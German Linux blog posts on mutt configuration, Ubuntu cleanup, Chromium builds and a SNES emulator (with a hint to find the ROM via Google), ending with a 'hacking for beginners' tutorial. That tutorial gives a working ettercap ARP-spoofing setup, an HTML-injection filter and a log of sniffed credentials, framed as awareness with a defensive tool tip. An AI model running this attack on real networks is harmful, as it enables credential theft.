… der Datei-Manager (nautilus) und der Text-Editor (gedit) unterstützen mit dem diesem Programm GPG-Entschlüsselung. (einfach rechte Maustaste auf eine gpg-Verschlüsselte Datei und auf  „Mit Datei entschlüsseln öffnen“ klicken)


Debian

Kommen wir nun zur Konfiguration von Mutt . Da wir den Mail-Client bereits am Anfang des Beitrages installiert hatten, beschreibe ich hier die wichtigsten Einstellungen und zeige meine Konfiguration, welche leicht an andere E-Mail Accounts angepasst werden kann.

1.) Als erstes laden wir die Beispiel-Konfiguration herunter.

cd ~

wget http://suckup.de/muttrc.txt
mv muttrc.txt .muttrc

wget http://suckup.de/mailcap.txt
mv mailcap.txt .mailcap

mkdit -p ~/.mutt/cache/headers
mkdir ~/.mutt/cache/bodies

2.) Im zweiten Schritt ändern wir die Konfiguration (ein wenig)

vim .muttrc

#set spoolfile=“imaps://user@domain.de:993″
#set folder=“imaps://user@domain.de/INBOX“

<- Hier musst du deine IMAP-Daten eintragen…

# direkt per sendmail (z.B. wenn du direkt auf dem Server arbeitest)
#set sendmail=“/usr/sbin/sendmail -oem -t -oi“
#set smtp_url=“smtp://user@domain.de/“
# ssmtp musst installiert und konfiguriert sein…
#set sendmail=“/usr/sbin/ssmtp -fuser@domain.de -au user@domain.de -ap password“

<- Hier musst du deine SMTP-Daten (bzw. sendmail) eintragen, bitte für eine Methode entscheiden…

#set pgp_sign_as=E0000000

-> Hier trägst du deine Key-ID von deinem GPG-Schlüssel ein…


Der Mail-Client lässt sich bis ins kleinste konfigurieren, dazu ist die Konfiguration an den meisten Stellen bereits kommentiert und lässt sich nun bereits starten.: mutt

Hier noch ein paar hilfreiche Tipps:

m -> neue E-Mail schreiben (:wq -> und mit „y“ am Ende bestätigen)
r -> antworten auf eine E-Mail
f -> weiterleiten einer E-Mail
e -> kompletten Header anzeigen lassen
c -> anderen Mail-Ordner öffnen
ENTER -> E-Mail lesen
SPACE -> nächste Seite einer E-Mail ansehen
q -> E-Mail wieder verlassen und zurück zur Postfach bzw. mutt beenden wenn du nicht in einer E-Mail bist
/ -> suchen, nach E-Mails oder im Inhalt von E-Mails oder in der Hilfe …
Pfeiltasten -> navigieren im Postfach (E-Mails auswählen)
? -> Hilfe anzeigen


Hier noch ein paar Links zum Thema:

http://www.gentoo.org/doc/en/gnupg-user.xml (Englisch)

http://www.kire.ch/linux/gnupg_spf.pdf

http://www.dewinter.com/gnupg_howto/

gpg --list-keys

Ubuntu aufräumen

Wer Ubuntu einmal aufräumen möchte, kann folgendes Skript dafür verwenden, außerdem kann man mit dem Programm localpurge überflüssige Sprach-Dateien löschen.


Nutzung auf eigene Gefahr und wie immer gilt, erst verstehen dann per „Copy&Past“ kopieren!


#!/bin/bash

OLDCONF=$(dpkg -l|grep "^rc"|awk '{print $2}')
CURKERNEL=$(uname -r|sed 's/-*[a-z]//g'|sed 's/-386//g')
LINUXPKG="linux-(image|headers|ubuntu-modules|restricted-modules)"
METALINUXPKG="linux-(image|headers|restricted-modules)-(generic|i386|server|common|rt|xen)"
OLDKERNELS=$(dpkg -l|awk '{print $2}'|grep -E $LINUXPKG |grep -vE $METALINUXPKG|grep -v $CURKERNEL)
GELB="\033[1;33m"
ROT="\033[0;31m"
FARBLOS="\033[0m"

if [ $USER != root ]; then
  echo -e $ROT"Error: du bist nicht root"
  echo -e $GELB"Ende..."$FARBLOS
  exit 0
fi

echo -e $GELB"APT-Cache aufraumen..."$FARBLOS
aptitude autoclean

echo -e $GELB"nicht mehr benoetigte Abhaengigkeiten aufraumen..."$FARBLOS
apt-get autoremove

echo -e $GELB"alte Config-Dateien loeschen..."$FARBLOS
aptitude purge $OLDCONF

echo -e $GELB"alte Kernels loeschen..."$FARBLOS
aptitude purge $OLDKERNELS

echo -e $GELB"alle Trashes löschen..."$FARBLOS
rm -rf /home/*/.local/share/Trash/*/** &> /dev/null
rm -rf /root/.local/share/Trash/*/** &> /dev/null

echo -e $GELB"Alles sauber...!"$FARBLOS

Gloobus-Vorschau für Ubuntu

Das Programm Gloobus zeigt, wie im folgendem Video zu sehen ist, von Dateien (Bildern, Archiven, Musik, Video…) eine Vorschau an, dabei wird dieser Vorschau durch das anklicken der Datei und einen darauf folgendem drücken der Leertaste aktiviert. Seht praktisch ist zudem die Option, (Zubehör -> Gloobus Preview -> Einstellungen -> „Bei Fokusverlust beenden“) das Programm automatisch zu schließen, sobald der Fokus nicht mehr auf dem Programm (Gloobus) ist.



Install: Gloobus

sudo add-apt-repository ppa:gloobus-dev/gloobus-preview
sudo apt-get update && sudo aptitude install gloobus-preview


Nun müssen wir noch eine Tastenkombination erstellen, um z.B. per <Strg> + <Space> die Vorschau zu anzuzeigen, alternativ können wir jedoch zusätzlich Nautilus Elementary (2.30) installieren und können direkt per Leertaste die Vorschau anzeigen lassen.


Install: Nautilus Elementary

sudo add-apt-repository ppa:am-monkeyd/nautilus-elementary-ppa
sudo apt-get update && sudo aptitude upgrade nautilus


Nun müssen wir den Dateimanager (Desktop) nur noch mit folgendem Befehl neu-starten.

nautilus -q

Super Nintendo Emulator für Ubuntu

Wer vor einiger Zeit auch „Secret of Evermore“ gespielt hat dürfe sich bei dem folgendem Bild an ein wirklich gutes Rollenspiel erinnern…



Bildschirmfoto-ZSNES
Bildschirmfoto-ZSNES



… wenn du das Spiel noch einmal spielen willst und dann (so wie ich) mitbekommst, dass dein alter Super Nintendo schon vor Jahren verschenkt wurde, (böse Eltern ^^) dann installiere dir einfach  ZSNES.:

sudo aptitude install zsnes


Nun müssen wir noch das Spiel herunterladen, dabei ist uns nun Google behilflich.

->  einfach mal nach „Secret of Evermore (G)“ suchen ;-)



SNES

Um das Feeling zu verbessern, findest du in einschlägigen Online-Shops das „Gamepad Pro“. Sobald du das Gamepad angeschlossen hast  kannst du diesen mit dem folgendem Programm kalibrieren und testen. – joystick

Chromium mit gcc-4.5 bauen

Heute zeige ich wie du Chromium mit gcc-4.5 bauen kannst und den Browser somit ein wenig optimieren kannst.


Root-Rechte beschaffen…
sudo su
…nun fügen wie die aktuellen Chromium-Quellen in unser System ein:
add-apt-repository ppa:chromium-daily/ppa && apt-get update
(ls -al /etc/apt/sources.list.d/chromium-daily-ppa*)
Optional: Wer nun bereits die aktuelle Chromium-Version installieren möchte, kann dies mit folgendem Befehl bewerkstelligen.
sudo aptitude install chromium-browser chromium-browser-l10n chromium-codecs-ffmpeg-extra
Nun installieren wir einige Liberiers und Werkzeuge um Chromium per gcc-4.5 kompilieren zu können.
aptitude install g++-4.5 hardening-wrapper libbz2-dev lzma-dev libhunspell-dev libsqlite3-dev libxss-dev libgnome-keyring-dev gyp
(ggf. wirst du im laufe der Kompilierung aufgefordert noch weitere Liberiers nach zu installieren)
Als nächstes erstellen wir einen neues Verzeichnis…
cd /usr/src
mkdir chromium
cd chromium
… in diesem Verzeichnis, laden wir mit folgenden Befehlen die aktuellen Chromium-Browser-Quellen.
apt-get source chromium-browser
bzr get https://code.launchpad.net/~chromium-team/chromium-browser/chromium-browser.head
Wechseln nun in folgendes Verzeichnis und kopieren ggf. die neuen Konfigurationen hinzu…
cd chromium-browser-*
cp -pvr ../chromium-browser.head/ .
… nun müssen wir noch einige Änderungen / Optimierungen vornehmen, dazu editieren wir folgende Datei:
(dabei sollte man beachten, dass nicht alle CPUs „SSE2“ unterstützen)
vim debian/rules
———————————————————-
54c54
< GYP_DEFINES = disable_sse2=1
> #GYP_DEFINES = disable_sse2=1
59a60,62
> # Enable gcc4.5
> GYP_DEFINES=’werror=‘
>
119d121
< # Set this to use gcc 4.3 instead of 4.4
122,127d123
<
< ifeq (1/4.4,$(AVOID_GCC_44)/$(CC_VERSION))
< CC  := gcc-4.3
< CXX := g++-4.3
< BUILD_ARGS += CC=$(CC) CXX=$(CXX) CC.host=$(CC) CXX.host=$(CXX)
< endif
129,131c125,130
< ifeq (4.4,$(CC_VERSION))
< GYP_DEFINES += no_strict_aliasing=1 gcc_version=44
< endif
> # gcc-4.5
> CC  := gcc-4.5
> CXX := g++-4.5
> BUILD_ARGS += CC=$(CC) CXX=$(CXX) CC.host=$(CC) CXX.host=$(CXX)
> CFLAGS += -O3
> GYP_DEFINES += no_strict_aliasing=1 gcc_version=45 linux_strip_binary=1 remove_webcore_debug_symbols=1
182c181
< USE_SYSTEM_SQLITE := 0
> USE_SYSTEM_SQLITE := 1
186c185
< GYP_DEFINES += use_system_zlib=0
> GYP_DEFINES += use_system_zlib=1
192,197c191,206
< use_system_bzip2=1 \
< use_system_libjpeg=1 \
< use_system_libpng=1 \
< use_system_sqlite=$(USE_SYSTEM_SQLITE) \
< use_system_libxml=0 \
< use_system_libxslt=1 \
>         gcc_version=45 \
>         no_strict_aliasing=1 \
>         use_system_sqlite=$(USE_SYSTEM_SQLITE) \
>         use_system_libxml=0 \
>         use_system_libxslt=1 \
>         use_system_ffmpeg=1 \
>         proprietary_codecs=1 \
>         use_system_libjpeg=1 \
>         use_system_libxslt=1 \
>         use_system_libxml=1 \
>         use_system_bzip2=1 \
>         use_system_zlib=1 \
>         use_system_libpng=1 \
>         use_system_yasm=1 \
>         use_system_libevent=1 \
>         use_system_ssl=0 \
270c279
< rm -f $(subst_files)
> rm -f $(subst_files) *.cdbs-config_list
———————————————————-
Als nächstes ändern wir noch folgende Datei…
vim debian/control
———————————————————-
15c15
< g++-4.3 | g++-4.2,
> g++-4.5,
———————————————————-
Nun können wir aus diesen Quellen eine neue „.deb“-Datei bauen. :-)
export DEBFULLNAME='chromium-browser';export DEBEMAIL='deine@mail-adresse.de';debuild -i -us -uc
Auf meinem Netbook hat dieser Vorgang zirka 4 Stunden gedauert und schon hat man Chromium neu gebaut ;-) und kann diesen per dpkg installieren.
cd ..
dpkg -i *.deb


Hier noch meine Version: http://drop.io/wbrejzv


Wenn noch jemand Erfahrungen mit dem kompilieren von Programmen hat und mir diesbezüglich (Chromium – Optimierung) noch weitere Tipps geben kann, wäre ich euch sehr dankbar.


PS: Wer Chrom / Chromium unter Windows nutzen möchte, solle sich einmal SRWare Iron anschauen.

Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO „server“

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem „.“ beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen „Port„, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten „Anwendungsorientierten Schichten“ grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‚Sätze‘ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer „Frage“ <-> „Antwort“ bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die „Sätze“ (Daten) -> „Wörter“ (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse „192.168.2.103“ und die Netzmaske „255.255.255.0“ daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von „nmap“ das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte „Man In The Middle“ Taktik angewandt.


Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist „ARP-Spoofing“ und somit eine „Man In The Middle“ Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = „iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport“
redir_command_off = „iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport“
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in „img“-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch „*“ ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein „böser“ Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-